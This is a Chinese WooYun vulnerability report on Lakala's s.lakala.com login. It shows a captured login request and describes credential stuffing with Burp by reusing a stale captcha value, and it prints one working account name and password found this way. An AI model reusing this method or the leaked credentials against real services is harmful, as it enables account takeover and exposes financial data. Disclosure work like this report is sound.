当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139982

漏洞标题：拉卡拉某服务中心存在漏洞，可撞库导致信息泄漏

相关厂商：拉卡拉网络技术有限公司

漏洞作者： 路人甲

提交时间：2015-09-09 16:27

修复时间：2015-09-14 16:28

公开时间：2015-09-14 16:28

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-09： 细节已通知厂商并且等待厂商处理中
2015-09-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

你猜我是怎么进去的

详细说明：

http://s.lakala.com/
这里登陆的时候抓包

POST /website_login HTTP/1.1
Host: s.lakala.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://s.lakala.com/
Cookie: JSESSIONID=D5796B15508F9CBC33CF176AEADEA560
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 289
loginId=aaa&loginPwd=33fd043ef7589e937fa8d63a18584a74deaa3727fcae01fec5ba7ba871e7a03886137ee3d5bc55e5c4b6f2fb1b6adc1c1e46fbe4472e3317990b37bcfd3ae6bc0a7167c2ec8be8decc2a3cd513d58972471a302e4e67a8f83b5d6e32e2b0487261f26b182b3c4fe3b7361d1a6f56731a0c7183d6294f49e207877f4b80fbb10b&random=tud0


对loginId进行撞库 密码使用123456（它会被加密，这个不用管）
还有一点需要注意的是 random 验证码 撞库的时候 把这个改成最新的
然后burp开跑
验证码修改以后 账号密码错误 会提示 用户名或密码错，而不是验证码错误

1.jpg


成功了一个 我就不再继续跑了
donglei/123456
登陆需要改密码 我就不改了

2.jpg


可以看到有交易查询 财务查询等

漏洞证明：

2.jpg

修复方案：

验证码机制要完善下

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-14 16:28

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无